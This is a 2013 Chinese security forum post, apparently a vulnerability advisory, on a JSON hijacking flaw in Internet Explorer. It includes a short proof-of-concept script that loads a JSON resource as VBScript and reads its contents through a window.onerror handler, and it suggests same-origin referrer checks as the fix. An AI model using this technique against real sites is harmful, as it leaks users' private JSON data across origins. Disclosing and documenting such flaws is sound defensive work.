找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2256|回复: 0
打印 上一主题 下一主题

IE通用JSON劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:- ]+ f* Q" V0 q: b
% b1 `7 V1 D1 Q& B
由于某些资源容器对数据处理不当导致json劫持漏洞.
* A6 j1 f, u* w9 a0 X% q详细说明:: U' Y- ^) D/ o4 n& {
由于ie支持vbscript,所以script元素可以指定成vbscript语言:8 t, X& h4 X# ^: r* C
<script language=vbscript></script>/ P% I% q  ^0 ]! F# Y

. D3 F& B% A5 L当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.* s" v: ~  R8 q9 K
漏洞证明:* x2 K0 c+ Z& \- I6 u
<script>7 Q1 g6 L' W3 [7 }& v6 G% V/ _
window.onerror=function(_){
2 G# i4 b' e- v" C& G$ Walert(_)
: a9 s7 i5 K! q. O$ P$ H5 y}
; n& P; }  }3 z! E+ L% Q</script>
: _1 W) [4 [4 A& m1 Q( ]; _* h<script language=vbscript src=1.json></script>
& q+ O. z" A9 S; _  j" i; M
, J5 W* O' C: y* O) ~  |
9 G( }2 B) _# N. A1.json:
: U5 L# K8 y9 J" J1 H: R- D[{"name":"sogili","age":19}]
0 E0 W) A  O; Z3 @7 g修复方案:
  @, Z! ~6 K: Z1 y. F, Y$ ]0 F1 w网站业务对于这个问题可以通过验证referrer是否为同源来防御
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表